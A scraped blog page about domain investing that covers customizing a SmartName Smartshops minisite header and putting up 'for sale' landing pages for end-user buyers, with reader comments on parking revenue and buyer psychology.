3. I then logged into my SmartName account and edited the Header & Footer section of my HomeDeepFryers.com e-commerce site.

headerandfooteraddbanner

Here’s the updated site with the new header…

homedeepfryersnewheader1

Summary

It took about ten minutes to create and upload the header, but I think the time was worth it.  From a visitor standpoint, people are more likely to browse and shop from a ‘real’ site than a parked page and custom graphics do a lot to establish confidence and trust in a site.

In my next post in this series, I’ll look at adding custom tabs to my Smartshops site to improve the user experience and attract additional search engine traffic.


Related post: Smartname Review Pt. 1: Using Smartshops to Create Free Minisites

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{ 6 comments… read them below or add one }

Leonard Britt 03.10.10 at 11:54 pm

You raise a valid point about customization. I’ve seen a bit of traffic from (many alt TLD) domains in the Smartname platform which wasn’t there previously in parking. However, perhaps since I didn’t spend much time with the setup, the traffic hasn’t converted well. I suppose I should review those with the highest traffic and spend a little time optimizing/customizing the setup.

admin 03.11.10 at 3:32 pm

Thanks Leonard. Since I just started using the service, it’s too soon for me to have a good read on conversion rates, but if the site looks good (custom header, professional ad free layout, etc.) and the products are razor targeted to the exact domain keywords, I’m hoping conversion rates will be much higher than Adsense type minisites.

Arseny 03.12.10 at 4:48 am

Great post!

What I also did with one of the domains that I’ve parked with SmartName – added more categories. So it’s more than just a “Home” categorie.

I’ve googled for the keyword and found more google suggestion at the end of the search engine result pages.

Here’s the example – http://www.Luggage.mx

admin 03.12.10 at 11:17 am

@Arseny – Great tip and nice domain. Actually did this yesterday on my example site and am writing a blog post with a walk through on the best way to add relevant, highly searched tabs. Hope to post it later today.

Rob Lafaye 05.12.10 at 5:54 pm

SmartName looks nice but from what I understand the Instant Shops are only PPC . There is no PPA, affiliate commissions or lead generation revenue being shared which means the shops are worthless except to add visual appeal to “your domain” that is being leveraged to present merchants with customers and they’ll give you the same thing that you were getting with traditional parking.

In reality, all of these so called product portals are not worth anything if you have to put it on the platform in the first place.

In other words, if you don’t have the money to open your own “pink-scarves.com” store then how do you think you’ll make money on the a platform like Epik or SmartName.

Buyer beware!

admin 05.13.10 at 1:18 pm

@Rob – I’d also like to see an option of having affiliate commissions vs. PPC – not sure if it would pay more or less, but would be nice to have the choice. As to determining the worth of these types of services, I look for three things…

1. If the domain is already getting traffic (e.g. type-ins), can it increase the revenue per visitor? Done right, good looking storefronts can instill more user confidence than parked pages and encourage visitors to spend time clicking on more products.

2. Can the service generate new traffic to a domain by letting me create sites which are indexed by major search engines? I’ll be writing a blog post about this in the future, but in my initial tests of Smartshops, I’m receiving a steady stream of search engine referrals each day that I wouldn’t have had before.

3. Will the service help me increase the marketability of the site when approaching end users? This one is in the eye of the beholder, but having an ‘active’ site can be an advantage when negotiating a final price and also helps to demonstrate the value of the name.

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]]> http://www.domaintweeter.com/smartname-review-part-ii-customizing-smartshops/feed/ 27 34 Selling your domains by putting them directly in the path of end users (Part I) — DomainTweeter http://www.domaintweeter.com/selling-your-domains-by-putting-them-directly-in-the-path-of-end-users-part-i/ http://www.domaintweeter.com/selling-your-domains-by-putting-them-directly-in-the-path-of-end-users-part-i/#comments Tue, 25 Jan 2022 20:26:35 +0000 http://www.domaintweeter.com/?p=21 Selling your domains by putting them directly in the path of end users (Part I) November 9, 2011 If you’re looking to maximize the sales price of your domains and own names which are likely to be attractive to end-users (e.g. generic exact match .com/.net domains), you might want to consider these two strategies… First, […]

The post Selling your domains by putting them directly in the path of end users (Part I) — DomainTweeter first appeared on DomainTweeter.

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Selling your domains by putting them directly in the path of end users (Part I)

November 9, 2011

If you’re looking to maximize the sales price of your domains and own names which are likely to be attractive to end-users (e.g. generic exact match .com/.net domains), you might want to consider these two strategies…

First, it’s helpful to stop thinking like a domainer and start thinking like an average end-user.  Most end-users aren’t familiar with whois and check to see if a domain is available by one of two ways:

1. They simply type the domain name into their browser…

• If they see the name is owned by a company in their business, they likely stop right there.

• If they see an error message or a un-configured hosting page, they likely stop right there.

• If they see a parked page, and there’s no prominent and obvious indication that the domain is for sale, they likely stop right there.

Why not make it easy for them?

If your names aren’t developed and you’re not making a lot of money from parking, consider creating a simple ‘domain for sale page’ and pointing your domains to it.   At the bare minimum, the page should clearly indicate that the name is for sale and tell visitors how they can go about purchasing it. Even better, assume that the end-user probably hasn’t bought an aftermarket domain before and…

• Talk about the importance of having a good domain and explain the advantages (e.g. professionalism, memorability, SEO, better response rates from off-line advertising, etc.).

• Reassure the end-user that these types of transactions are easy and safe to complete.

• Include your contact information, or an unintimidating form that the end-user can use to get in contact with you.

How to do it

You don’t have to be a web developer or have any major web design skills.

One way is to set up a simple page using WordPress. If you already have a web hosting account with a popular hosting company like Dreamhost or Hostgator, you probably already have the ability to create an unlimited amount of sites for free and to install WordPress with one click.

Once WordPress is installed, you can select from the many free themes that most hosting companies include and configure a simple page in about an hour or so.

Or if you don’t have a hosting account or aren’t familiar with WordPress, you might want to use a service like Wufoo which makes it pretty easy and has a free plan for simple pages.

Summary

Either way, once you have your page on-line, end users who type in your name will have no doubt that it’s for sale, may start to warm up to the idea of purchasing it (vs. hand registering an inferior available domain) and will have a clear cut way of contacting you and initiating a dialog.

In the second part of this post, I’ll discuss the other primary way end users check availability and a very easy way to get your names directly in front of them along with some specific pricing tips and strategic advice.

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{ 1 comment… read it below or add one }

Gene 11.09.11 at 12:59 pm

Thanks for this post. I agree that putting up a ‘for sale’ page can be helpful.

I stopped using ‘for sale’ landing pages a while back after realizing that potential buyers could be turned-off to the name(s) because they realize that their competitors (who also, likely stumbled on the same page) saw the same offering.

You may ask, “OK, so what does that mean?” Well, it’s simply human nature to not want to either feel as though (a) you’re buying something that others – perhaps, many others – have passed on, and (b) the asset you’re considering purchasing is in some way, tainted — which is the same problem that exists (at least, from the perspective of an end-user) with domain names that have been used unsuccessfully, then resold.

Granted, that there probably aren’t many alternatives to going the ‘for sale’ route (absent an auction or development).

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